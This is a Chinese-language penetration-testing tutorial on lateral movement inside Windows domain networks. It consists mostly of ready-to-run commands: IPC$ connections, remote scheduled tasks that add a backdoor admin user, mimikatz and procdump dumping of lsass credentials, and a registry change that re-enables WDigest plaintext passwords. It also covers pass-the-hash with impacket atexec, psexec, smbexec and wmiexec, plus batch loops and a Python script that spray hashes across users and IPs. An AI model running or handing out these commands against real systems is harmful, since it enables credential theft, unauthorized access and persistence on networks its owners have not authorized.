内网渗透-横向渗透1
1.横向渗透明文传递 at&schtasks
在拿下一台内网主机后,通过本地信息搜集收集用户凭证等信息后,如何横向渗透拿下更多的主机? 这里仅介绍 at&schtasks 命令的使用,在已知目标系统的用户明文密码的基础上,直接可以在远程主 机上执行命令。
获取到某域主机权限->minikatz 得到密码(明文,hash)->用到信息收集里面域用户的列表当做用户 名字典->用到密码明文当做密码字典-》尝试连接->创建计划任务(at|schtasks)->执行文件可为后门或 者相关命令
利用流程
- 建立 IPC 链接到目标主机
- 拷贝要执行的命令脚本到目标主机
- 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
- 删除 IPC 链接
建立 IPC 常见的错误代码
(1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限
(2)51:网络问题,Windows 无法找到网络路径
(3)53:找不到网络路径,可能是 IP 地址错误、目标未开机、目标 Lanmanserver 服务未启动、有 防火墙等问题
(4)67:找不到网络名,本地 Lanmanworkstation 服务未启动,目标删除 ipc$
(5)1219:提供的凭据和已存在的凭据集冲突,说明已建立 IPC$,需要先删除
(6)1326:账号密码错误
(7)1792:目标 NetLogon 服务未启动,连接域控常常会出现此情况
(8)2242:用户密码过期,目标有账号策略,强制定期更改密码
建立 IPC 失败的原因
(1)目标系统不是 NT 或以上的操作系统
(2)对方没有打开 IPC$共享
(3)对方未开启 139、445 端口,或者被防火墙屏蔽
(4)输出命令、账号密码有错误
net use \\server\ipc$"password" /user:username # 工作组
net use \\server\ipc$"password" /user:domain\username #域内
dir \\xx.xx.xx.xx\C$\ # 查看文件列表
copy \\xx.xx.xx.xx\C$\1.bat 1.bat # 下载文件
copy 1.bat \\xx.xx.xx.xx\C$ # 复制文件
net use \\xx.xx.xx.xx\C$\1.bat /del # 删除 IPC
net view xx.xx.xx.xx # 查看对方共享
使用环境
at 适用于 Windows2012 以下版本
schtasks 使用于 Windows2012及 以上版本
at 命令使用
net use \\192.168.1.21\ipc$ "password" /user:xy.com\administrator
# 建立 ipc 连接:
copy add.bat \\192.168.3.21\c$
#拷贝执行文件到目标机器
at \\192.168.3.21 15:47 c:\add.bat
#添加计划任务
schtasks命令使用
net use \\192.168.3.32\ipc$ "password" /user:xy.com\administrator
# 建立 ipc 连接:
copy add.bat \\192.168.1.1\c$
#复制文件到其 C 盘
schtasks /create /s 192.168.1.1 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F
#创建 adduser 任务对应执行文件
schtasks /run /s 192.168.1.1 /tn adduser /i
#运行 adduser 任务
schtasks /delete /s 192.168.1.11 /tn adduser /f
#删除 adduser 任务
2.实例演示:
首先进入某域主机,
1.使用:
net time /domain #获取当前域控主机名称
2.获取域控主机ip地址
nslookup DD.xy.com #获取域控主机ip地址
ping 域控主机 #两种方式都行
3.接下来使用at命令或者schtasks命令
net use \\192.168.1.100\ipc$ "123456" /user:xy.com\administrator # 建立 ipc 连接:
copy add.bat \\192.168.1.21\c$ #拷贝执行文件到目标机器
at \\192.168.1.21 15:47 c:\add.bat #添加计划任务
add.bat文件内容
net user admin password /add #添加用户名密码
4.实战时用mimikatz获取密码
在DOS运行界面中输入
privilege::debug 提权命令
sekurlsa::logonpasswords 抓取密码命令
找到密码后我们来验证下密码是否正确,打开控制面板输入原来的密码看能否修改,如果能修改就是正确的密码
另外当无法上传mimikatz工具到目标服务器时,可以利用procdump把lsass进程的内存文件导出本地,再在本地利用mimikatz读取密码
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
导出为lsass.dump文件
把lsass.dmp放在mimikatz目录利用
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
这样就读出了密码的sha1加密的密码
3.其他案例
1.横向渗透明文 HASH 传递 atexec-impacket(会被杀毒软件查杀)
atexec.exe ./administrator:[email protected] "whoami" #password处输入密码
atexec.exe god/administrator:[email protected] "whoami"
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./[email protected] "whoami"
2.横向渗透明文 HASH 传递批量利用-综合
FOR /F %%i in (ips.txt) do net use \\%%i\ipc$ "password" /user:administrator
#批量检测 IP 对应明文连接 #保存文件后缀名.bat,批处理文件
FOR /F %%i in (ips.txt) do atexec.exe ./administrator:password@%%i whoami
#批量检测 IP 对应明文回显版
FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%[email protected] whoami
#批量检测明文对应 IP回显版
FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./[email protected] whoami
#批量检测HASH 对应 IP 回显版
2.域横向 smb&wmi 明文或 hash 传递
知识点1:
Windows2012以上版本默以关闭wdigest, 攻击者无法从内存中获取明文密码
Windows2012以下版本如安装KB2871997补丁,同样也会导致无法获取明文密码
针对以上情况,我们提供了4种方式解决此类问题
- 利用哈希hash传递(pth, pt k等)进行移动
- 利用其它服务协议( SMB, WMI等)进行哈希移动
- 利用注册表操作开启wdigest Auth值进行获取
- 利用工具或第三方平台(Hachcat)进行破解获取
知识点2:
Windows系统LM Hash及NTLM Hash加密算法,个人系统在windows vista后,服务器系统在windows 2003以后,认证方式均为NTLM Hash
注册表修改
reg add
HKLM\ SYSTEM\CurrentControlSet\Control\SecurityProvidears\WDigest /v UseLogonCredential /t REG DWORD /d 1 /f
1. Procdump+Mimikatz 配合获取
procdump -accepteula -ma lsass.exe lsass.dmp
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz 上执行:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
2.Hashcat 破解获取 Windows NTML Hash
hashcat -a 0-m 1000hash file --force
参考:
https://www.freebuf.com/sectool/164507.html
3.域横向移动 SMB 服务利用-psexec,smbexec
psexec 第一种:先有 ipc 链接,psexec 需要明文或 hash 传递
net use \\192.168.1.1\ipc$ "password" /user:administrator
psexec \\192.168.1.1 -s cmd # 需要先有 ipc 链接 -s 以 System 权限运行
psexec 第二种:不用建立 IPC 直接提供明文账户密码(推荐使用第二种)
psexec \\192.168.1.1 -u administrator -p Admin12345 -s cmd #有账号密码
psexec -hashes :$HASH$ ./[email protected]
psexec -hashes :$HASH$ domain/[email protected]
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./[email protected]
官方 Pstools 无法采用 hash 连接
需要非官方自带-参考 impacket 工具包使用,操作简单,容易被杀
https://gitee.com/RichChigga/impacket-examples-windows
smbexec 无需先 ipc 链接 明文或 hash 传递
smbexec god/administrator:[email protected]
smbexec ./administrator:admin!@#[email protected]
smbexec -hashes :$HASH$ ./[email protected]
smbbexec -hashes :$HASH$ domain/[email protected]
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./[email protected]
smbexec -hashes :ccef208c6485269c20db2cad21734fe7god/[email protected]
4.域横向移动 WMI 服务利用-cscript,wmiexec,wmic
WMI(Windows Management Instrumentation) 是通过 135 端口进行利用,支持用户名明文或者 hash 的方式进行认证,并且该方法不会在目标日志系统留下痕迹。
自带 WMIC 明文传递 无回显
wmic /node:192.168.1.1 /user:administrator /password:Admin12345 process call create "cmd.exe /c
ipconfig >C:\1.txt"
自带 cscript 明文传递 有回显
cscript //nologo wmiexec.vbs /shell 192.168.1.1 administrator Admin12345
套件 impacket wmiexec 明文或 hash 传递 有回显 exe 版本
wmiexec ./administrator:admin!@#[email protected] "whoami"
wmiexec god/administrator:[email protected] "whoami"
wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./[email protected] "whoami"
wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god/[email protected] "whoami"
5.域横向移动以上服务 hash 批量利用-python 编译 exe
pyinstaller.exe -F fuck_neiwang_002.py
import os,time
ips={
'192.168.1.1',
'192.168.1.2',
'192.168.1.3',
'192.168.1.4',
'192.168.1.5'
}
users={
'Administrator',
'boss',
'dbadmin',
'fileadmin',
'mack',
'mary',
'webadmin'
}
hashs={
'ccef208c6485269c20db2cad21734fe7',
'518b98ad4178a53695dc997aa02d455c'
}
for ip in ips:
for user in users:
for mimahash in hashs:
#wmiexec -hashes :hashgod/user@ipwhoami
exec = "wmiexec -hashes :"+mimahash+" god/"+user+"@"+ip+" whoami"
print('--->' + exec + '<---')
os.system(exec)
time.sleep(0.5)